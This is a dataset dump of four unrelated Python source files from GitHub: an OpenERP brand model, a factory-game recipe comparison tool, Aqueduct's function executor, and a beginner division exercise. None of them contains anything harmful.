+{"seq_id":"22230306147","text":"import math\r\nimport re\r\nfrom openerp import tools\r\nfrom openerp.osv import osv, fields\r\nfrom openerp.tools.translate import _\r\nimport time\r\n\r\nimport openerp.addons.decimal_precision as dp\r\n\r\nclass kgbrand_category(osv.osv):\r\n\r\n\t_name = \"kgbrand.category\"\r\n\t_description = \"Brand Category\"\r\n\t_columns = {\r\n\t\t'code': fields.char('Code', size=64, required=True, translate=True, select=True),\r\n\t\t'name': fields.char('Name', size=64, required=True, translate=True, select=True),\r\n\t\t'date': fields.date('Date'),\r\n\t\t'product_id': fields.many2many('product.product', 'product_brand', 'pro_brandid', 'brand_proid', 'Product'),\r\n\t\t'type': fields.selection([('normal','Normal'), ('misc','Miscellanous')], 'Brand Type'),\r\n\t}\r\n\r\n\r\n\t_defaults = {\r\n\t\t'type' : lambda *a : 'normal',\r\n\t\t'date' : fields.date.context_today,\r\n\t}\r\n\t\r\n\t_sql_constraints = [\r\n\t \r\n\t\t('code_uniq', 'unique(code)', 'Brand code must be unique!'),\r\n\t\t('name_uniq', 'unique(name)', 'Brand name must be unique !'),\r\n\t]\r\n\t\r\n\r\nkgbrand_category()\r\n","repo_name":"PramodhKG/sampleErp","sub_path":"sampleErp/openerp-server/openerp/addons/kg_brandmaster/kg_brandmaster.py","file_name":"kg_brandmaster.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"40378536498","text":"import tabulate\n\nfrom .db.item import Item\nfrom .db.recipe import Recipe\nfrom .query import Query\nfrom .result import Result\n\n\nclass CompareRecipesForQuery(Query):\n    def __init__(self, product: Item, include_alternates: bool) -> None:\n        self.__product = product\n        self.__include_alternates = include_alternates\n\n    def __str__(self):\n        return f\"compare recipes for {self.__product.var()}\" \\\n               f\"{' with alternate recipes' if self.__include_alternates else ''}\"\n\n    def product(self) -> Item:\n        return self.__product\n\n    def include_alternates(self) -> bool:\n        return self.__include_alternates\n\n\nclass ProductionStats:\n    def __init__(\n            self,\n            inputs: dict[str, tuple[Item, float]],\n            power_consumption: float,\n            step_count: int,\n    ) -> None:\n        self.inputs = inputs\n        self.power_consumption = power_consumption\n        self.step_count = step_count\n\n    def to_string(self, indent=0):\n        out = [\n            \"\",\n            indent * \"  \" + \"INPUTS:\"\n        ]\n        indent += 1\n        for _, (_input, value) in self.inputs.items():\n            out.append(\n                indent * \"  \"\n                + _input.human_readable_name()\n                + \": \"\n                + str(round(value, 2))\n                + \"/m\"\n            )\n        indent -= 1\n        out.append(indent * \"  \" + \"POWER CONSUMPTION:\")\n        indent += 1\n        out.append(indent * \"  \" + str(round(self.power_consumption, 2)) + \" MW\")\n        # out.append(\"PROCESSING STEPS: \")\n        # out.append(\"  \" + str(self.step_count))\n        return \"\\n\".join(out)\n\n    def __str__(self):\n        return self.to_string()\n\n\nclass ProductionCompStats:\n    def __init__(\n            self,\n            base_production_stats: ProductionStats,\n            comp_production_stats: ProductionStats,\n            weighted: bool,\n    ) -> None:\n\n        # TODO: Pull this from the same place that the optimizer does\n        weighted_resources = {\n            \"item:water\": 0,\n            \"item:iron-ore\": 1,\n            \"item:copper-ore\": 3.29,\n            \"item:limestone\": 1.47,\n            \"item:coal\": 2.95,\n            \"item:crude-oil\": 4.31,\n            \"item:bauxite\": 8.48,\n            \"item:caterium-ore\": 6.36,\n            \"item:uranium\": 46.67,\n            \"item:raw-quartz\": 6.36,\n            \"item:sulfur\": 13.33,\n            \"item:nitrogen-gas\": 4.5,  # TODO\n        }\n\n        def get_delta_percentage(new, old):\n            delta_percentage = \"NEW\"\n            if old is not None and old != 0:\n                delta_percentage = ((new / old) - 1) * 100\n            return delta_percentage\n\n        self.resources = {}\n        base_resource_total = 0\n        for input_var, (_input, value) in base_production_stats.inputs.items():\n            self.resources[input_var] = (_input, -100)\n            if weighted and input_var in weighted_resources:\n                base_resource_total += value * weighted_resources[input_var]\n            else:\n                base_resource_total += value\n\n        comp_resources_total = 0\n        for input_var, (_input, value) in comp_production_stats.inputs.items():\n            base_value = None\n            if input_var in base_production_stats.inputs:\n                _, base_value = base_production_stats.inputs[input_var]\n            self.resources[input_var] = (\n                _input,\n                get_delta_percentage(value, base_value),\n            )\n            if weighted:\n                comp_resources_total += value * weighted_resources[input_var]\n            else:\n                comp_resources_total += value\n\n        self.resource_requirements = get_delta_percentage(\n            comp_resources_total, base_resource_total\n        )\n\n        self.power_consumption = get_delta_percentage(\n            comp_production_stats.power_consumption,\n            base_production_stats.power_consumption,\n        )\n\n        self.complexity = get_delta_percentage(\n            comp_production_stats.step_count, base_production_stats.step_count\n        )\n\n\nclass RecipeStats:\n    def __init__(\n            self,\n            base: ProductionStats,\n            unweighted_stats: ProductionStats,\n            weighted_stats: ProductionStats,\n    ) -> None:\n        self.base = base\n        self.unweighted_stats = unweighted_stats\n        self.weighted_stats = weighted_stats\n\n    def __str__(self):\n        out = [\n            \"\",\n            \"Base:\",\n            str(self.base),\n            \"\",\n            \"Unweighted\",\n            str(self.unweighted_stats),\n            \"\",\n            \"Weighted\",\n            str(self.weighted_stats)\n        ]\n        return \"\\n\".join(out)\n\n\nclass RecipeCompStats:\n    def __init__(self, base_stats: RecipeStats, comp_stats: RecipeStats) -> None:\n        self.unweighted_comp_stats = ProductionCompStats(\n            base_stats.unweighted_stats, comp_stats.unweighted_stats, False\n        )\n        self.weighted_comp_stats = ProductionCompStats(\n            base_stats.weighted_stats, comp_stats.weighted_stats, True\n        )\n\n    def to_string(self, indent=0):\n        def get_percentage_str(percentage):\n            if isinstance(percentage, str):\n                return percentage\n            percentage_string = str(round(percentage, 2))\n            if percentage > 0:\n                percentage_string = \"+\" + percentage_string\n            return percentage_string + \"%\"\n\n        out = [indent * \"  \" + \"Inputs:\"]\n        indent += 1\n        # out.append(indent * '  ' + \"Unweighted w/o alternates:\")\n        # indent += 1\n        for _, (\n                resource,\n                percentage,\n        ) in self.unweighted_comp_stats.resources.items():\n            out.append(\n                indent * \"  \"\n                + resource.human_readable_name()\n                + \": \"\n                + get_percentage_str(percentage)\n            )\n        indent -= 1\n        # out.append(indent * '  ' + \"Unweighted w/ alternates:\")\n        # indent += 1\n        # for _, (resource, percentage) in self.unweighted_optimal.resources.items():\n        #     out.append(indent*'  ' + resource.human_readable_name() +\n        #                \": \" + get_percentage_str(percentage))\n        # indent -= 1\n        # out.append(indent * '  ' + \"Weighted w/o alternates:\")\n        # indent += 1\n        # for _, (resource, percentage) in self.weighted_default.resources.items():\n        #     out.append(indent*'  ' + resource.human_readable_name() +\n        #                \": \" + get_percentage_str(percentage))\n        # indent -= 1\n        # out.append(indent * '  ' + \"Weighted w/ alternates:\")\n        # indent += 1\n        # for _, (resource, percentage) in self.weighted_optimal.resources.items():\n        #     out.append(indent*'  ' + resource.human_readable_name() +\n        #                \": \" + get_percentage_str(percentage))\n        # indent -= 2\n        out.append(indent * \"  \" + \"Total Resource Requirements:\")\n        indent += 1\n        out.append(\n            indent * \"  \"\n            + \"Unweighted: \"\n            + get_percentage_str(self.unweighted_comp_stats.resource_requirements)\n        )\n        out.append(\n            indent * \"  \"\n            + \"Weighted: \"\n            + get_percentage_str(self.weighted_comp_stats.resource_requirements)\n        )\n        indent -= 1\n        out.append(\n            indent * \"  \"\n            + \"Power Consumption: \"\n            + get_percentage_str(self.unweighted_comp_stats.power_consumption)\n        )\n        # indent += 1\n        # out.append(indent * '  ' + \"Unweighted w/o alternates: \" +\n        #            get_percentage_str(self.unweighted_comp_stats.power_consumption))\n        # out.append(indent * '  ' + \"Unweighted w/ alternates: \" +\n        #            get_percentage_str(self.unweighted_optimal.power_consumption))\n        # out.append(indent * '  ' + \"Weighted w/o alternates: \" +\n        #            get_percentage_str(self.weighted_default.power_consumption))\n        # out.append(indent * '  ' + \"Weighted w/ alternates: \" +\n        #            get_percentage_str(self.weighted_optimal.power_consumption))\n        # indent -= 1\n        out.append(\n            indent * \"  \"\n            + \"Complexity: \"\n            + get_percentage_str(self.unweighted_comp_stats.complexity)\n        )\n        # indent += 1\n        # out.append(indent * '  ' + \"Unweighted w/o alternates: \" +\n        #            get_percentage_str(self.unweighted_comp_stats.complexity))\n        # out.append(indent * '  ' + \"Unweighted w/ alternates: \" +\n        #            get_percentage_str(self.unweighted_optimal.complexity))\n        # out.append(indent * '  ' + \"Weighted w/o alternates: \" +\n        #            get_percentage_str(self.weighted_default.complexity))\n        # out.append(indent * '  ' + \"Weighted w/ alternates: \" +\n        #            get_percentage_str(self.weighted_optimal.complexity))\n        return \"\\n\".join(out)\n\n    def __str__(self):\n        return self.to_string()\n\n\nclass RelatedRecipeStats:\n    def __init__(\n            self,\n            recipe: Recipe,\n            product_item: Item,\n            recipe_stats: RecipeStats,\n            recipe_comp_stats: RecipeCompStats,\n    ) -> None:\n        self.recipe = recipe\n        self.product_item = product_item\n        self.recipe_stats = recipe_stats\n        self.recipe_comp_stats = recipe_comp_stats\n\n    def __str__(self):\n        out = [\n            \"To make 1 \" + self.product_item.human_readable_name() + \" with \" + self.recipe.human_readable_name(),\n            str(self.recipe_stats.base),\n            \"\",\n            \"Relative Statistics:\",\n            self.recipe_comp_stats.to_string(1)\n        ]\n        return \"\\n\".join(out)\n\n\nclass CompareRecipesForResult(Result):\n    def __init__(\n            self,\n            query: CompareRecipesForQuery,\n            base_recipe: Recipe,\n            base_stats_normalized: RecipeStats,\n            related_recipe_stats: list[RelatedRecipeStats]\n    ) -> None:\n        self.__query: CompareRecipesForQuery = query\n        self.__base_stats_normalized = base_stats_normalized\n        self.__related_recipe_stats = related_recipe_stats\n\n        def get_percentage_str(percentage):\n            if isinstance(percentage, str):\n                return percentage\n            percentage_string = str(int(round(percentage, 0)))\n            if percentage > 0:\n                percentage_string = \"+\" + percentage_string\n            return percentage_string + \"%\"\n\n        recipes = []\n        unweighted = []\n        weighted = []\n        power = []\n        complexity = []\n\n        recipes.append(base_recipe.human_readable_name())\n        unweighted.append(\"\")\n        weighted.append(\"\")\n        power.append(\"\")\n        complexity.append(\"\")\n\n        for related_stats in related_recipe_stats:\n            recipes.append(related_stats.recipe.human_readable_name())\n            unweighted.append(\n                get_percentage_str(\n                    related_stats.recipe_comp_stats.unweighted_comp_stats.resource_requirements\n                )\n            )\n            weighted.append(\n                get_percentage_str(\n                    related_stats.recipe_comp_stats.weighted_comp_stats.resource_requirements\n                )\n            )\n            power.append(\n                get_percentage_str(\n                    related_stats.recipe_comp_stats.unweighted_comp_stats.power_consumption\n                )\n            )\n            complexity.append(\n                get_percentage_str(\n                    related_stats.recipe_comp_stats.unweighted_comp_stats.complexity\n                )\n            )\n\n        self.__overall_stats = {\n            \"Recipe\": recipes,\n            \"Unweighted\\nResources\": unweighted,\n            \"Weighted\\nResources\": weighted,\n            \"Power\\nConsumption\": power,\n            \"Complexity\": complexity,\n        }\n\n        # Find all possible inputs.\n\n        input_vars = {}\n\n        for (_input, value) in base_stats_normalized.unweighted_stats.inputs.values():\n            input_vars[_input.var()] = _input.human_readable_name()\n        for related_stats in related_recipe_stats:\n            for (_input, value) in related_stats.recipe_stats.unweighted_stats.inputs.values():\n                input_vars[_input.var()] = _input.human_readable_name()\n\n        inputs = {\"Recipe\": recipes}\n        for input_var, input_name in input_vars.items():\n            if input_var in base_stats_normalized.unweighted_stats.inputs:\n                _input, value = base_stats_normalized.unweighted_stats.inputs[\n                    input_var\n                ]\n                inputs[input_name] = [str(round(value, 2))]\n            else:\n                inputs[input_name] = [\"\"]\n            for related_stats in related_recipe_stats:\n                if input_var in related_stats.recipe_stats.unweighted_stats.inputs:\n                    _input, value = related_stats.recipe_stats.unweighted_stats.inputs[\n                        input_var\n                    ]\n                    (\n                        resource,\n                        percentage,\n                    ) = related_stats.recipe_comp_stats.unweighted_comp_stats.resources[\n                        input_var\n                    ]\n                    percentage_str = get_percentage_str(percentage)\n                    inputs[input_name].append(\n                        \"{}/m ({})\".format(round(value, 2), percentage_str)\n                    )\n                else:\n                    inputs[input_name].append(\"\")\n\n        raw_power = []\n        power_value = base_stats_normalized.unweighted_stats.power_consumption\n        raw_power.append(\"{} MW\".format(round(power_value, 1)))\n        for related_stats in related_recipe_stats:\n            power_value = related_stats.recipe_stats.unweighted_stats.power_consumption\n            power_percentage = (\n                related_stats.recipe_comp_stats.unweighted_comp_stats.power_consumption\n            )\n            percentage_str = get_percentage_str(power_percentage)\n            raw_power.append(\"{} MW ({})\".format(round(power_value, 1), percentage_str))\n\n        inputs[\"Power\"] = raw_power\n\n        self.__input_stats = inputs\n\n    def __str__(self) -> str:\n        # === OVERALL STATS ===\n        #                               | Unweighted | Weighted  | Power       |            |\n        #  Recipe                       | Resources  | Resources | Consumption | Complexity |\n        #  -----------------------------|------------|-----------|-------------|------------|\n        #  Recipe: Iron Rod             |            |           |             |            |\n        #  -----------------------------|------------|-----------|-------------|------------|\n        #  Recipe: Alternate: Steel Rod |  -50%      |  -1.25%   |  -56%       |  +33%      |\n        #\n        # === RAW INPUTS ===\n        #                               | Iron          |              |             |            |\n        #  Recipe                       | Ore           | Coal         |             |   Power    |\n        #  -----------------------------|---------------|--------------|-------------|------------|\n        #  Recipe: Iron Rod             | 0.75/m        |              |             |   0.27 MW  |\n        #  -----------------------------|---------------|--------------|-------------|------------|\n        #  Recipe: Alternate: Steel Rod | 0.25/m (-75%) | 0.45/m (NEW) |             |   1.2 MW   |\n        product_name = self.__query.product().human_readable_name()\n\n        out = [\n            \"All recipes that produce \" + product_name,\n            tabulate.tabulate(self.__overall_stats, headers=\"keys\", tablefmt=\"grid\"),\n            \"\",\n            \"Raw Inputs for 1/m \" + product_name,\n            tabulate.tabulate(self.__input_stats, headers=\"keys\", tablefmt=\"grid\")\n        ]\n        return \"\\n\".join(out)\n\n        # return str(self.__stats)\n\n    def query(self) -> CompareRecipesForQuery:\n        return self.__query\n\n    def overall_stats(self):\n        return self.__overall_stats\n\n    def input_stats(self):\n        return self.__input_stats\n","repo_name":"ScottJDaley/ada","sub_path":"ada/compare_recipes_for.py","file_name":"compare_recipes_for.py","file_ext":"py","file_size_in_byte":16176,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"37"}
+{"seq_id":"70198931309","text":"import importlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport tracemalloc\nimport uuid\nfrom typing import Any, Callable, Dict, List, Tuple\n\nimport numpy as np\nimport pandas as pd\nfrom aqueduct.utils.serialization import check_and_fetch_pickled_collection_format\nfrom aqueduct.utils.type_inference import infer_artifact_type\nfrom aqueduct_executor.operators.function_executor import extract_function, get_extract_path\nfrom aqueduct_executor.operators.function_executor.spec import FunctionSpec\nfrom aqueduct_executor.operators.function_executor.utils import OP_DIR\nfrom aqueduct_executor.operators.utils import utils\nfrom aqueduct_executor.operators.utils.enums import (\n    ArtifactType,\n    CheckSeverity,\n    ExecutionStatus,\n    FailureType,\n    OperatorType,\n    SerializationType,\n)\nfrom aqueduct_executor.operators.utils.execution import (\n    TIP_CHECK_DID_NOT_PASS,\n    TIP_NOT_BOOL,\n    TIP_NOT_NUMERIC,\n    TIP_OP_EXECUTION,\n    TIP_UNKNOWN_ERROR,\n    ExecFailureException,\n    ExecutionState,\n    Logs,\n    exception_traceback,\n)\nfrom aqueduct_executor.operators.utils.storage.parse import parse_storage\nfrom aqueduct_executor.operators.utils.storage.storage import Storage\nfrom aqueduct_executor.operators.utils.timer import Timer\nfrom aqueduct_executor.operators.utils.utils import time_it\n\n\ndef get_py_import_path(spec: FunctionSpec) -> str:\n    \"\"\"\n    Generates the import path based on fixed function dir and\n    FUNCTION_ENTRY_POINT_FILE env var.\n\n    It removes .py (if any) from the entry point and replaces all\n    '/' with '.'\n\n    For example, entry point 'model/churn.py'  will finally become\n    'app.function.model.churn', where we can import from.\n    \"\"\"\n    file_path = spec.entry_point_file\n    if file_path.endswith(\".py\"):\n        file_path = file_path[:-3]\n\n    if file_path.startswith(\"/\"):\n        file_path = file_path[1:]\n    return file_path.replace(\"/\", \".\")\n\n\ndef import_invoke_method(spec: FunctionSpec) -> Callable[..., Any]:\n    \"\"\"\n    `import_invoke_method` imports the model object.\n    it assumes the operator has been extracted to `<storage>/operators/<id>/op`\n    and imports the route from the above path.\n    \"\"\"\n\n    # fn_path should be `<storage>/operators/<id>`\n    fn_path = spec.function_extract_path\n\n    # work_dir should be `<storage>/operators/<id>/op`\n    work_dir = os.path.join(fn_path, OP_DIR)\n    print(f\"listdir(workdir): {os.listdir(work_dir)}\")\n    print(f\"listdir(fn_path): {os.listdir(fn_path)}\")\n\n    # this ensures any file manipulation happens with respect to work_dir\n    os.chdir(work_dir)\n    # adds work_dir to sys.path to support relative imports from work_dir\n    sys.path.append(work_dir)\n\n    import_path = get_py_import_path(spec)\n    print(f\"import_path: {import_path}\")\n    class_name = spec.entry_point_class\n    method_name = spec.entry_point_method\n    custom_args_str = spec.custom_args\n\n    # Invoke the function and parse out the result object.\n\n    module = importlib.import_module(import_path)\n\n    if not class_name:\n        return getattr(module, method_name)  # type: ignore\n\n    fn_class = getattr(module, class_name)\n    function = fn_class()\n    # Set the custom arguments if provided\n    if custom_args_str:\n        custom_args = json.loads(custom_args_str)\n        function.set_args(custom_args)\n\n    return getattr(function, method_name)  # type: ignore\n\n\ndef _execute_function(\n    spec: FunctionSpec,\n    inputs: List[Any],\n    exec_state: ExecutionState,\n) -> Tuple[List[Any], Dict[str, str]]:\n    \"\"\"\n    Invokes the given function on the input data. Does not raise an exception on any\n    user function errors, but instead annotates the given exec state with the error.\n\n    :param inputs: the input data to feed into the user's function.\n    \"\"\"\n\n    invoke = import_invoke_method(spec)\n    timer = Timer()\n    timer.start()\n    tracemalloc.start()\n\n    @exec_state.user_fn_redirected(failure_tip=TIP_OP_EXECUTION)\n    def _invoke() -> Any:\n        return invoke(*inputs)\n\n    results = _invoke()\n    if len(spec.output_content_paths) == 1:\n        results = [results]\n\n    elapsedTime = timer.stop()\n    _, peak = tracemalloc.get_traced_memory()\n    system_metadata = {\n        utils._RUNTIME_SEC_METRIC_NAME: str(elapsedTime),\n        utils._MAX_MEMORY_MB_METRIC_NAME: str(peak / 10**6),\n    }\n\n    sys.path.pop(0)\n    return results, system_metadata\n\n\ndef _validate_result_count_and_infer_type(\n    spec: FunctionSpec,\n    results: List[Any],\n    infer_type_func: Any,\n) -> List[ArtifactType]:\n    \"\"\"\n    Validates that the expected number of results were returned by the Function\n    and infers the ArtifactType of each result.\n\n    Args:\n        spec: The FunctionSpec for the Function\n        results: The results returned by the Function\n\n    Returns:\n        The ArtifactType of each result\n\n    Raises:\n        ExecFailureException: If the expected number of results were not returned\n    \"\"\"\n    if len(spec.output_content_paths) > 1 and len(spec.output_content_paths) != len(results):\n        raise ExecFailureException(\n            failure_type=FailureType.USER_FATAL,\n            tip=\"Expected function to have %s outputs, but instead it had %s.\"\n            % (len(spec.output_content_paths), len(results)),\n        )\n\n    return [infer_type_func(res) for res in results]\n\n\ndef _write_artifacts(\n    write_artifact_func: Any,\n    results: Any,\n    result_types: List[ArtifactType],\n    derived_from_bson: bool,\n    output_content_paths: List[str],\n    output_metadata_paths: List[str],\n    system_metadata: Any,\n    storage: Storage,\n    **kwargs: Any,\n) -> None:\n    for i, result in enumerate(results):\n        write_artifact_func(\n            storage,\n            result_types[i],\n            derived_from_bson,\n            output_content_paths[i],\n            output_metadata_paths[i],\n            result,\n            system_metadata=system_metadata,\n            **kwargs,\n        )\n\n\ndef validate_spec(spec: FunctionSpec) -> None:\n    if len(spec.input_content_paths) != len(spec.input_metadata_paths):\n        raise Exception(\n            \"Found inconsistent number of input paths (%d) and input metadata paths (%d)\"\n            % (\n                len(spec.input_content_paths),\n                len(spec.input_metadata_paths),\n            )\n        )\n\n    if len(spec.output_content_paths) != len(spec.output_metadata_paths):\n        raise Exception(\n            \"Found inconsistent number of output paths (%d) and output metadata paths (%d)\"\n            % (\n                len(spec.output_content_paths),\n                len(spec.output_metadata_paths),\n            )\n        )\n    if spec.expected_output_artifact_types is not None and len(\n        spec.expected_output_artifact_types\n    ) != len(spec.output_content_paths):\n        raise Exception(\n            \"Found inconsistent number of expected output artifact types (%d) and output content paths (%d)\"\n            % (\n                len(spec.expected_output_artifact_types),\n                len(spec.output_content_paths),\n            )\n        )\n\n    # Check and Metric operators must only have a single output.\n    if (spec.operator_type == OperatorType.CHECK or spec.operator_type == OperatorType.METRIC) and (\n        spec.expected_output_artifact_types is not None\n        and len(spec.expected_output_artifact_types) != 1\n    ):\n        raise Exception(\"%s operators must only have a single output.\" % spec.operator_type)\n\n\ndef cleanup(spec: FunctionSpec) -> None:\n    \"\"\"\n    Cleans up any temporary files created during function execution.\n    \"\"\"\n    # Delete the extracted fn file if it exists and the file path is not\n    # something dangerous\n    if spec.function_extract_path and spec.function_extract_path[-1] != \"*\":\n        shutil.rmtree(spec.function_extract_path)\n\n\ndef run(spec: FunctionSpec) -> None:\n    \"\"\"\n    Executes a function operator.\n    \"\"\"\n    execute_function_spec(\n        spec=spec,\n        read_artifacts_func=utils.read_artifacts,\n        write_artifact_func=utils.write_artifact,\n        infer_type_func=infer_artifact_type,\n    )\n\n\ndef execute_function_spec(\n    spec: FunctionSpec,\n    read_artifacts_func: Any,\n    write_artifact_func: Any,\n    infer_type_func: Any,\n    **kwargs: Any,\n) -> None:\n    \"\"\"\n    Executes a function operator. If run in a Spark environment, it uses the Spark specific utils\n    functions to read/write to storage layer and to infer the type of artifact.\n    The only kwarg we expect is spark_session_obj.\n\n    Args:\n        spec: The spec provided for this operator.\n        read_artifacts_func: function used to read artifacts from storage layer\n        write_artifact_func: function used to write artifacts to storage layer\n        infer_type_func: function used to infer type of artifacts returned by operators.\n    \"\"\"\n    exec_state = ExecutionState(user_logs=Logs())\n    storage = parse_storage(spec.storage_config)\n    try:\n        check_package_version_mismatch()\n\n        validate_spec(spec)\n\n        # Read the input data from intermediate storage.\n        inputs, _, serialization_types = time_it(\n            job_name=spec.name, job_type=spec.type.value, step=\"Reading Inputs\"\n        )(read_artifacts_func)(\n            storage=storage,\n            input_paths=spec.input_content_paths,\n            input_metadata_paths=spec.input_metadata_paths,\n            **kwargs,\n        )\n\n        # We need to check for BSON_TABLE serialization type at both the top level\n        # and within any serialized pickled collection (if it exists).\n        derived_from_bson = SerializationType.BSON_TABLE in serialization_types\n        if not derived_from_bson:\n            for i, serialization_type in enumerate(serialization_types):\n                collection_data = check_and_fetch_pickled_collection_format(\n                    serialization_type, inputs[i]\n                )\n                if (\n                    collection_data is not None\n                    and SerializationType.BSON_TABLE in collection_data.aqueduct_serialization_types\n                ):\n                    derived_from_bson = True\n                    break\n\n        results, system_metadata = time_it(\n            job_name=spec.name, job_type=spec.type.value, step=\"Running Function\"\n        )(_execute_function)(spec, inputs, exec_state)\n\n        if exec_state.status == ExecutionStatus.FAILED:\n            # user failure\n            utils.write_exec_state(storage, spec.metadata_path, exec_state)\n            sys.exit(1)\n\n        print(\"Function invoked successfully!\")\n\n        result_types = _validate_result_count_and_infer_type(\n            spec=spec, results=results, infer_type_func=infer_type_func\n        )\n\n        # Perform type checking on the function output.\n        if spec.operator_type == OperatorType.METRIC:\n            assert len(results) == 1, \"Metric operator can only have a single output.\"\n            result = results[0]\n\n            if not (\n                isinstance(result, int)\n                or isinstance(result, float)\n                or isinstance(result, np.number)\n            ):\n                raise ExecFailureException(\n                    failure_type=FailureType.USER_FATAL,\n                    tip=TIP_NOT_NUMERIC,\n                )\n\n        elif spec.operator_type == OperatorType.CHECK:\n            assert len(results) == 1, \"Check operator can only have a single output.\"\n            check_result = results[0]\n\n            if isinstance(check_result, pd.Series) and check_result.dtype == \"bool\":\n                assert result_types[0] == ArtifactType.PICKLABLE\n\n                # Cast pd.Series to a bool.\n                # We only write True if every boolean in the series is True.\n                series = pd.Series(check_result)\n                check_passed = bool(series.size - series.sum().item() == 0)\n            elif isinstance(check_result, bool) or isinstance(check_result, np.bool_):\n                # Cast np.bool_ to a bool.\n                check_passed = bool(check_result)\n            else:\n                raise ExecFailureException(\n                    failure_type=FailureType.USER_FATAL,\n                    tip=TIP_NOT_BOOL,\n                )\n\n            # If the check returned a value we interpret to mean 'false', we exit here, but\n            # not before recording the output artifact value (which will be False).\n            if not check_passed:\n                print(f\"Check Operator did not pass.\")\n                write_artifact_func(\n                    storage=storage,\n                    artifact_type=ArtifactType.BOOL,\n                    derived_from_bson=derived_from_bson,  # derived_from_bson doesn't apply to bool artifact\n                    output_path=spec.output_content_paths[0],\n                    output_metadata_path=spec.output_metadata_paths[0],\n                    content=check_passed,\n                    system_metadata=system_metadata,\n                    **kwargs,\n                )\n\n                check_severity = spec.check_severity\n                if spec.check_severity is None:\n                    print(\n                        \"Check operator has an unspecified severity on spec. Defaulting to ERROR.\"\n                    )\n                    check_severity = CheckSeverity.ERROR\n\n                failure_type = FailureType.USER_FATAL\n                if check_severity == CheckSeverity.WARNING:\n                    failure_type = FailureType.USER_NON_FATAL\n\n                raise ExecFailureException(failure_type, tip=TIP_CHECK_DID_NOT_PASS)\n\n            # If we get here, we know that the check has passed. The artifact type might need\n            # still be updated. Eg. if the output was a pandas series.\n            result_types[0] = ArtifactType.BOOL\n            results[0] = True\n        else:\n            for i, expected_output_type in enumerate(spec.expected_output_artifact_types):\n                if (\n                    expected_output_type != ArtifactType.UNTYPED\n                    and expected_output_type != result_types[i]\n                ):\n                    raise ExecFailureException(\n                        failure_type=FailureType.USER_FATAL,\n                        tip=\"Expected type %s for the %d-th output of function, but it is of type %s.\"\n                        % (expected_output_type, i, result_types[i]),\n                    )\n\n        time_it(job_name=spec.name, job_type=spec.type.value, step=\"Writing Outputs\")(\n            _write_artifacts\n        )(\n            write_artifact_func=write_artifact_func,\n            results=results,\n            result_types=result_types,\n            derived_from_bson=derived_from_bson,\n            output_content_paths=spec.output_content_paths,\n            output_metadata_paths=spec.output_metadata_paths,\n            system_metadata=system_metadata,\n            storage=storage,\n            **kwargs,\n        )\n\n        # If we made it here, then the operator has succeeded.\n        exec_state.status = ExecutionStatus.SUCCEEDED\n        print(f\"Succeeded! Full logs: {exec_state.json()}\")\n        utils.write_exec_state(storage, spec.metadata_path, exec_state)\n\n    except ExecFailureException as e:\n        # We must reconcile the user logs here, since those logs are not captured on the exception.\n        from_exception_exec_state = ExecutionState.from_exception(e, user_logs=exec_state.user_logs)\n        print(f\"Failed with error. Full Logs:\\n{from_exception_exec_state.json()}\")\n        utils.write_exec_state(storage, spec.metadata_path, from_exception_exec_state)\n        sys.exit(1)\n\n    except Exception as e:\n        exec_state.mark_as_failure(\n            FailureType.SYSTEM, TIP_UNKNOWN_ERROR, context=exception_traceback(e)\n        )\n        print(f\"Failed with system error. Full Logs:\\n{exec_state.json()}\")\n        utils.write_exec_state(storage, spec.metadata_path, exec_state)\n        sys.exit(1)\n    finally:\n        # Perform any cleanup\n        cleanup(spec)\n\n\ndef run_with_setup(spec: FunctionSpec) -> None:\n    \"\"\"\n    Performs the setup needed for a Function operator and then executes it.\n    \"\"\"\n    # Generate a unique function extract path if one does not exist already\n    if not spec.function_extract_path:\n        fn_extract_path = os.path.join(os.getcwd(), str(uuid.uuid4()))\n        spec.function_extract_path = fn_extract_path\n\n    op_path = get_extract_path.run(spec)\n\n    extract_function.run(spec)\n\n    requirements_path = os.path.join(op_path, \"requirements.txt\")\n    if os.path.exists(requirements_path):\n        os.system(\"{} -m pip install -r {}\".format(sys.executable, requirements_path))\n\n    run(spec)\n\n\ndef check_package_version_mismatch() -> None:\n    expected_version = os.environ.get(\"AQUEDUCT_EXPECTED_VERSION\")\n    if expected_version:\n        aqueduct_version = subprocess.check_output([\"aqueduct\", \"version\"]).decode(\"utf-8\").strip()\n\n        print(\n            f\"Comparing Aqueduct version ({aqueduct_version}) to expected version ({expected_version})\"\n        )\n        if aqueduct_version != expected_version:\n            raise ExecFailureException(\n                failure_type=FailureType.USER_FATAL,\n                tip=f\"Aqueduct version ({aqueduct_version}) does not match expected version ({expected_version})\",\n            )\n","repo_name":"aqueducthq/aqueduct","sub_path":"src/python/aqueduct_executor/operators/function_executor/execute.py","file_name":"execute.py","file_ext":"py","file_size_in_byte":17252,"program_lang":"python","lang":"en","doc_type":"code","stars":488,"dataset":"github-code","pt":"37"}
+{"seq_id":"40172794443","text":"# 1. Реализовать функцию, принимающую два числа (позиционные аргументы) и выполняющую их деление.\n# Числа запрашивать у пользователя, предусмотреть обработку ситуации деления на ноль.\ndef division(a, b):\n    try:\n        a, b = float(a), float(b)\n        c = round(a / b, 4)\n    except ZeroDivisionError:\n        return('Деление на 0!')\n    except ValueError:\n        return ('Value error')\n    return(c)\nd, e = (i for i in input('Введите 2 числа через пробел: ').split())\nprint (f'Результат деления: {division(d, e)}') if type(division(d, e)) != str else print (division(d, e))\n\n","repo_name":"aakostarev/python-lessons","sub_path":"lesson-3/task-1.py","file_name":"task-1.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
